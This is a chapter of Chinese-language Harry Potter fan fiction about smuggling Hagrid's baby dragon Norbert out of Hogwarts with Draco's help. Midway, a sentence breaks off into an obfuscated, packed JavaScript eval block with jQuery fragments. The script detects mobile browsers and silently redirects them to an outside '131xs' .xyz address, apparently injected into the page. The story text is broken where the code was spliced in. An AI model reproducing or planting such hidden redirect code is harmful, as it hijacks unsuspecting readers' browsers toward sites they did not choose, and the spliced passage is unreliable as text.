直到离开海格小屋很远的距离，两人才停下“这是违反法律的！希娜，他们不能圈养一只龙！”
希娜安抚德拉科
“我们都知道，但它才刚刚出生”
“你最好让他们把那条龙送走，霍格沃茨可不适合挪威脊背龙生长，如果他们不愿意，我会直接告诉邓布利多校长”
希娜也清楚这条小龙会产生多大的影响，所以在接下来的一个星期里，希娜、哈利、罗恩和赫敏大部分业余时间都待在海格昏暗的小屋里，对他摆事实讲道理
“你就让它走吧”哈利劝道“把它放掉”
“我不能”海格说“它太小了，会死掉的”
他们打量着小龙，短短一个星期，它的长度已经是原来的三倍，一团团的烟从它鼻孔里喷出来，海格把看守狩猎场的工作撇在了一边，因为小龙弄得他手忙脚乱，地上扔满了空的白兰地酒瓶和鸡毛
“我决定叫它诺伯”海格用泪水模糊的眼睛看着小龙“它现在真的认识我了，你们看着，诺伯!诺伯!妈妈在哪儿?”海格现在的样子像极了一位慈祥的老母亲
“海格！”哈利提高了嗓门“再过两个星期，诺伯就会变得跟你的房子一样长，马尔福随时都可能去找邓布利多！”这是他们商量好的，因为希娜已经跟哈利他们说明了德拉科的态度，小少爷强烈要求把龙送走，如果海格不愿意就拿德拉科要给邓布利多校长告状这件事威胁他
海格咬着嘴唇“我…我知道我不能永远养着它，可我不能就这样把它扔掉，不能啊”
哈利突然转向罗恩“查理”他说
“你也犯糊涂了”罗恩说
“我是罗恩，记得吗?”
“不！他没犯糊涂，就是查理，在罗马尼亚研究龙的查理！”希娜一下就明白了哈利的意思
“我们不妨把诺伯送给他，查理可以照料它，然后把它放回野生环境里”哈利说
“太棒了!”罗恩说“怎么样，海格?”
最后，海格总算同意他们先派一只猫头鹰去问问查理，接下来的一个星期简直度日如年
星期四早上，希娜眼睁睁看到罗恩的一只手肿成了原来的两倍，他甚至不知道去找庞弗雷夫人是不是妥当——她会不会看出来这是被龙咬的?然而到了下午，他就没有别的选择了，伤口变成了一种难看的绿颜色，看来诺伯的牙齿是有毒的
上完今天的课后，希娜和哈利赫敏飞快地赶到医疗翼，发现罗恩躺在床上，情况非常糟糕
“不光是我的手”他低声说“虽然它疼得像要断了一样，更糟糕的是，我觉得我出现幻觉了！马尔福对庞弗雷夫人说他要向我借一本书，然后他就进来了，他居然没有嘲笑我！而是给我说了一句这辈子都不可能从他嘴里说出来的话！你们猜是什么？”
“他说你是世界上最聪明的人？”哈利这话绝对夹带私货
“我更认为是他疯了”赫敏翻了个白眼
“我也认为他疯了！他跟我说魁地奇比赛时不该嘲讽我！”
“你确定他不是在暗示着骂你？”赫敏不太相信
“他就是道歉的语气！就是！我绝对不会听错！然后我也问他是不是吃错药了，他瞪我一眼就走了”
希娜松了一口气，虽然不是多么好听的话，但起码也是道歉，估计马尔福少爷这会儿正又羞又气呢
哈利和赫敏竭力使罗恩平静下来。
“到了星期六午夜，就一切都结束了，查理他们会来带走诺伯”赫敏说，但这丝毫没有使罗恩得到安慰，恰恰相反，他腾地从床上坐了起来，急出了一身冷汗
“星期六午夜!”他声音嘶哑地说“哦，糟糕——哦，糟糕——我刚想起来——查理的信就夹在马尔福借走的那本书里，他一定知道我们要弄走诺伯了”
希娜赶紧安慰罗恩“没事的，我去把它拿回来，德拉科不会告诉邓布利多的”
哈利和赫敏没来得及说什么，庞弗雷夫人正好走了进来，叫他们离开，她说罗恩需要睡觉了
希娜他们去通知海格时，发现大猎狗牙牙坐在门外，尾巴上包着绷带，海格打开窗户跟他们说话“我不能让你们进来”他喘着气说“诺伯现在很难对付——我拿它没有办法”
他们把查理来信的事对他说了，他的眼里噙满泪水，不过这也可能是因为诺伯刚刚咬了他的腿“呵呵!没关系，它只咬了我的靴子——它是在玩耍呢——说到底，它还是个小毛娃啊”小毛娃用尾巴梆梆地敲着墙，震得窗户咔咔直响，他们无比期望周六能快些到来
海格要跟诺伯告别了，如果不是忧心忡忡地想着即将采取的行动，希娜他们一定会为海格感到难过的，那是一个漆黑的、阴云密布的夜晚，他们到达海格的小屋时已经有点晚了，因为皮皮鬼在门厅里对着墙壁打网球，他们只好一直等到他离开
海格已经把诺伯装进一只大板条箱，准备就绪了
“我给它准备了许多老鼠，还有一些白兰地酒，够它一路上吃的了”海格用沉闷的声音说“我还把它的玩具熊也放了进去，免得它觉得孤单”
板条箱里传出了撕扯的声音，玩具熊大概是被分尸了
“再见，诺伯!”海格抽抽搭搭地说“妈妈不会忘记你的!”他们用隐形衣罩住板条箱，随即自己也钴到了袍子下面
怎么把板条箱搬到塔楼上去呢，他们心里没底，随着午夜一分一秒地临近，他们抬着诺伯走上门厅的大理石台阶，走过漆黑一片的走
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721481|173537||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
廊，上了一层楼，又上一层楼——尽管抄了近路，也一点儿不省劲儿
“快到了!”他们到了最高塔楼下面一层的走廊上，哈利喘着气说
前面突然有了动静，吓得他们差点扔掉了手里的箱子，他们忘了自己已经隐形，赶紧退缩到阴影里，看着离他们十来步远的地方，一个黑糊糊的人影走过，是麦格教授，穿着格子花纹的晨衣，戴着发网，她应该是在巡视吧
突然，希娜回头看到一个熟悉的影子，她从隐形衣下钻出来
“德拉科？”
德拉科被声音吓了一跳，看到是希娜后松了口气
“希娜，怎么就你一个人？小龙呢？”
哈利和赫敏绕到墙后脱下隐形衣走了出来“在这里”哈利指了指板条箱
“哦”德拉科看到是哈利和赫敏后收敛了情绪“他们快来了吧”
“是的，所以我们现在要到塔楼上去”
德拉科试探的靠近箱子
“或许你们需要……帮忙？我的意思是，我怕你们三个没力气把它送上去”他还在嘴硬
哈利和赫敏看了看希娜，她笑着冲两人眨眼，哈利妥协
“好吧，马尔福，你来抬这边”
有了德拉科帮忙后，通向塔楼的那道陡直的旋转楼梯似乎是世界上最轻松的一段路程了，他们一直来到寒冷的夜空下，终于不用担心了，赫敏转头看向德拉科
“我以为你会告诉麦格教授”
德拉科不服气“我说过只要你们把它送走我就不会说出去”
“那你为什么来？”哈利提出问题
“……我是看到韦斯莱连病床都下不了，怕希娜抬不动这条龙”实际上是自己也想看看小挪威脊背龙
“谢谢你的关心，但我认为你更多是因为这条小龙宝宝才来的”
德拉科扭着脑袋不说话了
哈利和赫敏边偷笑边等待，诺伯在箱子里剧烈地动个不停，大约十分钟后，四把扫帚突然从黑暗中降落了
查理的朋友都是性情快活的人，他们展示了了他们临时拴好的几道绳索，这样他们就能把诺伯悬挂在中间了，几个人七手八脚地把诺伯安全地系在绳索上，然后哈利和赫敏跟他们握了握手，又对他们说了许多感谢的话，希娜还发现有个人是埃米尔的朋友，德拉科眼巴巴的看着装着诺伯的小箱子越飞越远
终于，诺伯走了…走了…不见了
他们悄悄走下旋转楼梯，总算摆脱了诺伯这个沉重的负担，他们的心情和手一样轻快，还有什么能破坏他们的这份喜悦呢? 答案就在楼梯下面等着呢，他们一跨进走廊，费尔奇的脸就突然从黑暗里显现出来，哈利为此很后悔为了不让马尔福知道而没穿隐形衣